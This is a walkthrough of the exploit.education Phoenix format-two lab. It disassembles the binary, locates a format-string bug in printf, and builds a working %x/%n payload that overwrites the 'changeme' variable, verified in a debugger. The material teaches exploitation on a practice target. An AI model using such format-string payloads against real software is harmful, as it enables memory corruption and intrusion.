Disassembling the binary with radare2:

$ r2 /opt/phoenix/i486/format-two
[0x08048380]> aas
Cannot analyze at 0x08048620
[0x08048380]> afl
0x080482fc    1 17           sym._init
0x080484d0    7 277  -> 112  sym.frame_dummy
0x080485e0    5 49           sym.__do_global_ctors_aux
0x08048611    1 12           sym._fini
0x08048450    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   44 524  -> 608  sym..interp
0x08048380    1 62           entry0
0x08048370    1 6            sym.imp.__libc_start_main
0x080486c4    1 14           loc.__GNU_EH_FRAME_HDR
0x080486e8    3 34           sym..eh_frame
0x08048724    1 10           obj.__EH_FRAME_BEGIN
0x080483c0    4 49   -> 40   sym.deregister_tm_clones
0x0804876c    1 4            obj.__FRAME_END
0x0804852c    6 172          main
0x08048515    1 23           sym.bounce
0x08048320    1 6            sym.imp.printf
0x08048330    1 6            sym.imp.puts
0x08048340    1 6            sym.imp.strncpy
0x08048350    1 6            sym.imp.memset
0x08048360    1 6            sym.imp.exit
[0x08048380]> s main
[0x0804852c]> pdf
/ (fcn) main 172
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_108h @ ebp-0x108
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x80483b4
|           0x0804852c      8d4c2404       lea ecx, [arg_4h]
|           0x08048530      83e4f0         and esp, 0xfffffff0
|           0x08048533      ff71fc         push dword [ecx - 4]
|           0x08048536      55             push ebp
|           0x08048537      89e5           mov ebp, esp
|           0x08048539      53             push ebx
|           0x0804853a      51             push ecx
|           0x0804853b      81ec00010000   sub esp, 0x100
|           0x08048541      89cb           mov ebx, ecx
|           0x08048543      83ec0c         sub esp, 0xc
|           0x08048546      6820860408     push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x8048620 ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"
|           0x0804854b      e8e0fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048550      83c410         add esp, 0x10
|           0x08048553      833b01         cmp dword [ebx], 1
|       ,=< 0x08048556      7e4b           jle 0x80485a3
|       |   0x08048558      83ec04         sub esp, 4
|       |   0x0804855b      6800010000     push 0x100                  ; 256
|       |   0x08048560      6a00           push 0
|       |   0x08048562      8d85f8feffff   lea eax, [var_108h]
|       |   0x08048568      50             push eax
|       |   0x08048569      e8e2fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|       |   0x0804856e      83c410         add esp, 0x10
|       |   0x08048571      8b4304         mov eax, dword [ebx + 4]
|       |   0x08048574      83c004         add eax, 4
|       |   0x08048577      8b00           mov eax, dword [eax]
|       |   0x08048579      83ec04         sub esp, 4
|       |   0x0804857c      6800010000     push 0x100                  ; 256
|       |   0x08048581      50             push eax
|       |   0x08048582      8d85f8feffff   lea eax, [var_108h]
|       |   0x08048588      50             push eax
|       |   0x08048589      e8b2fdffff     call sym.imp.strncpy        ; char *strncpy(char *dest, const char *src, size_t  n)
|       |   0x0804858e      83c410         add esp, 0x10
|       |   0x08048591      83ec0c         sub esp, 0xc
|       |   0x08048594      8d85f8feffff   lea eax, [var_108h]
|       |   0x0804859a      50             push eax
|       |   0x0804859b      e875ffffff     call sym.bounce
|       |   0x080485a0      83c410         add esp, 0x10
|       `-> 0x080485a3      a168980408     mov eax, dword [obj.changeme] ; [0x8049868:4]=0
|           0x080485a8      85c0           test eax, eax
|       ,=< 0x080485aa      7412           je 0x80485be
|       |   0x080485ac      83ec0c         sub esp, 0xc
|       |   0x080485af      686c860408     push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x804866c ; "Well done, the 'changeme' variable has been changed correctly!"
|       |   0x080485b4      e877fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x080485b9      83c410         add esp, 0x10
|      ,==< 0x080485bc      eb10           jmp 0x80485ce
|      |`-> 0x080485be      83ec0c         sub esp, 0xc
|      |    0x080485c1      68ab860408     push str.Better_luck_next_time ; 0x80486ab ; "Better luck next time!\n"
|      |    0x080485c6      e865fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x080485cb      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x80485bc
|      `--> 0x080485ce      83ec0c         sub esp, 0xc
|           0x080485d1      6a00           push 0
\           0x080485d3      e888fdffff     call sym.imp.exit           ; void exit(int status)
[0x0804852c]> agf
[0x0804852c]>  # int main (int argc, char **argv, char **envp);
                       .----------------------------------------------------------------------------------------.
                       |  0x804852c                                                                             |
                       | (fcn) main 172                                                                         |
                       |   int main (int argc, char **argv, char **envp);                                       |
                       | ; var int32_t var_108h @ ebp-0x108                                                     |
                       | ; arg int32_t arg_4h @ esp+0x4                                                         |
                       | ; DATA XREF from entry0 @ 0x80483b4                                                    |
                       | lea ecx, [arg_4h]                                                                      |
                       | and esp, 0xfffffff0                                                                    |
                       | push dword [ecx - 4]                                                                   |
                       | push ebp                                                                               |
                       | mov ebp, esp                                                                           |
                       | push ebx                                                                               |
                       | push ecx                                                                               |
                       | sub esp, 0x100                                                                         |
                       | mov ebx, ecx                                                                           |
                       | sub esp, 0xc                                                                           |
                       | ; sym..rodata                                                                          |
                       | ; 0x8048620                                                                            |
                       | ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"         |
                       | push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education    |
                       | ; int puts(const char *s)                                                              |
                       | call sym.imp.puts;[oa]                                                                 |
                       | add esp, 0x10                                                                          |
                       | cmp dword [ebx], 1                                                                     |
                       | jle 0x80485a3                                                                          |
                       `----------------------------------------------------------------------------------------'
                               f t
                               | |
                               | '---------------------------------------------------.
                           .---'                                                     |
                       .---------------------------------------------------------.   |
                       |  0x8048558                                              |   |
                       | sub esp, 4                                              |   |
                       | ; 256                                                   |   |
                       | push 0x100                                              |   |
                       | push 0                                                  |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | ; void *memset(void *s, int c, size_t n)                |   |
                       | call sym.imp.memset;[ob]                                |   |
                       | add esp, 0x10                                           |   |
                       | mov eax, dword [ebx + 4]                                |   |
                       | add eax, 4                                              |   |
                       | mov eax, dword [eax]                                    |   |
                       | sub esp, 4                                              |   |
                       | ; 256                                                   |   |
                       | push 0x100                                              |   |
                       | push eax                                                |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | ; char *strncpy(char *dest, const char *src, size_t  n) |   |
                       | call sym.imp.strncpy;[oc]                               |   |
                       | add esp, 0x10                                           |   |
                       | sub esp, 0xc                                            |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | call sym.bounce;[od]                                    |   |
                       | add esp, 0x10                                           |   |
                       `---------------------------------------------------------'   |
                           v                                                         |
                           |                                                         |
                           '----------------------------.                            |
                                                        | .--------------------------'
                                                        | |
                                                  .----------------------------------.
                                                  |  0x80485a3                       |
                                                  | ; [0x8049868:4]=0                |
                                                  | mov eax, dword [obj.changeme]    |
                                                  | test eax, eax                    |
                                                  | je 0x80485be                     |
                                                  `----------------------------------'
                                                          f t
                                                          | |
                                                          | '-----------------------.
    .-----------------------------------------------------'                         |
    |                                                                               |
.---------------------------------------------------------------------------.   .-----------------------------------.
|  0x80485ac                                                                |   |  0x80485be                        |
| sub esp, 0xc                                                              |   | sub esp, 0xc                      |
| ; 0x804866c                                                               |   | ; 0x80486ab                       |
| ; "Well done, the 'changeme' variable has been changed correctly!"        |   | ; "Better luck next time!\n"      |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly    |   | push str.Better_luck_next_time    |
| ; int puts(const char *s)                                                 |   | ; int puts(const char *s)         |
| call sym.imp.puts;[oa]                                                    |   | call sym.imp.puts;[oa]            |
| add esp, 0x10                                                             |   | add esp, 0x10                     |
| jmp 0x80485ce                                                             |   `-----------------------------------'
`---------------------------------------------------------------------------'       v
    v                                                                               |
    |                                                                               |
    '---------------------------------------------------.                           |
                                                        | .-------------------------'
                                                        | |
                                                  .-----------------------------------.
                                                  |  0x80485ce                        |
                                                  | ; CODE XREF from main @ 0x80485bc |
                                                  | sub esp, 0xc                      |
                                                  | push 0                            |
                                                  | ; void exit(int status)           |
                                                  | call sym.imp.exit;[oe]            |
                                                  `-----------------------------------'
[0x0804852c]> pdf @ sym.bounce 
/ (fcn) sym.bounce 23
|   sym.bounce (int32_t arg_8h);
|           ; arg int32_t arg_8h @ ebp+0x8
|           ; CALL XREF from main @ 0x804859b
|           0x08048515      55             push ebp
|           0x08048516      89e5           mov ebp, esp
|           0x08048518      83ec08         sub esp, 8
|           0x0804851b      83ec0c         sub esp, 0xc
|           0x0804851e      ff7508         push dword [arg_8h]
|           0x08048521      e8fafdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048526      83c410         add esp, 0x10
|           0x08048529      90             nop
|           0x0804852a      c9             leave
\           0x0804852b      c3             ret

There are a few things to break down:

  1. The binary needs an argument.
  2. The argument is copied into a buffer, which is set to zero beforehand.
  3. There is a call to sym.bounce, which simply calls printf with the buffer as a format string.
  4. The objective is to overwrite the variable obj.changeme with an arbitrary value.

Due to the simplicity of this level, ltrace should offer enough help to exploit this vulnerability.

The methodology is as follows:

  1. Execute the binary with ltrace and as an argument write 4 bytes (e.g. AAAA) followed by one %x.
  2. If the 4 bytes that were written firstly are shown in the output, stop.
  3. Otherwise, append another %x.
  4. Repeat from step two.
$ ltrace /opt/phoenix/i486/format-two AAAA%x
__libc_start_main(0x804852c, 2, 0xffdb3ea4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xffdb3d10, '\0', 256)                                                               = 0xffdb3d10
strncpy(0xffdb3d10, "AAAA%x", 256)                                                          = 0xffdb3d10
printf("AAAA%x", 0xffdb463b)                                                                = 12
puts("Better luck next time!\n"AAAAffdb463bBetter luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x
__libc_start_main(0x804852c, 2, 0xff943e84, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xff943cf0, '\0', 256)                                                               = 0xff943cf0
strncpy(0xff943cf0, "AAAA%x%x", 256)                                                        = 0xff943cf0
printf("AAAA%x%x", 0xff944639, 0x100)                                                       = 15
puts("Better luck next time!\n"AAAAff944639100Better luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Skipping to the result:

$ ltrace /opt/phoenix/i486/format-two AAAA%x%x%x%x%x%x%x%x%x%x%x%x
__libc_start_main(0x804852c, 2, 0xffc11ff4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xffc11e60, '\0', 256)                                                               = 0xffc11e60
strncpy(0xffc11e60, "AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 256)                                    = 0xffc11e60
printf("AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 0xffc13625, 0x100, 0, 0xf7ee6b67, 0xffc11f80, 0xffc11f68, 0x80485a0, 0xffc11e60, 0xffc13625, 0x100, 0x3e8, 0x41414141) = 77
puts("Better luck next time!\n"AAAAffc136251000f7ee6b67ffc11f80ffc11f6880485a0ffc11e60ffc136251003e841414141Better luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Note the last 4 bytes at the line that starts with printf.

Afterwards, the first 4 bytes are replaced with the address of obj.changeme, the last %x is replaced with %n and the one before that is replaced with %8x. In order to write 4 bytes the %x specifier must be %8x, which will pad the output of %x to 8 characters (i.e. 4 bytes).

The address of obj.changeme can be obtained as follows:

[0x08048380]> px/xw @ obj.changeme
0x08049868  0x00000000                                   ....

Debugging the binary with the final exploit:

$ r2 -d /opt/phoenix/i486/format-two $(printf "\x68\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n
[0xf7f56d4b]> aas
Cannot analyze at 0x08048620
[0xf7f56d4b]> db 0x0804859b
[0xf7f56d4b]> dc
Welcome to phoenix/format-two, brought to you by https://exploit.education
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xff84fb90
ebx = 0xff84fcb0
ecx = 0x00000000
edx = 0x00000003
esi = 0xff84fd24
edi = 0x00000002
esp = 0xff84fb80
ebp = 0xff84fc98
eip = 0x0804859b
eflags = 0x00000296
oeax = 0xffffffff
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80  0xff84fb90 0xff8505f1 0x00000100 0x000003e8  ................
0xff84fb90  0x08049868 0x78257825 0x78257825 0x78257825  h...%x%x%x%x%x%x
0xff84fba0  0x78257825 0x78257825 0x25783825 0x0000006e  %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868  0x00000000                                   ....
[0x0804859b]> dso
hit breakpoint at: 80485a0
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80  0xff84fb90 0xff8505f1 0x00000100 0x000003e8  ................
0xff84fb90  0x08049868 0x78257825 0x78257825 0x78257825  h...%x%x%x%x%x%x
0xff84fba0  0x78257825 0x78257825 0x25783825 0x0000006e  %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868  0x0000004a                                   J...
[0x0804859b]> dc
hff8505f11000f7f15b67ff84fcb0ff84fc9880485a0ff84fb90ff8505f1100     3e8Well done, the 'changeme' variable has been changed correctly!

Conclusion

This level required the attacker to exploit a format string vulnerability to overwrite a specific variable with an arbitrary value.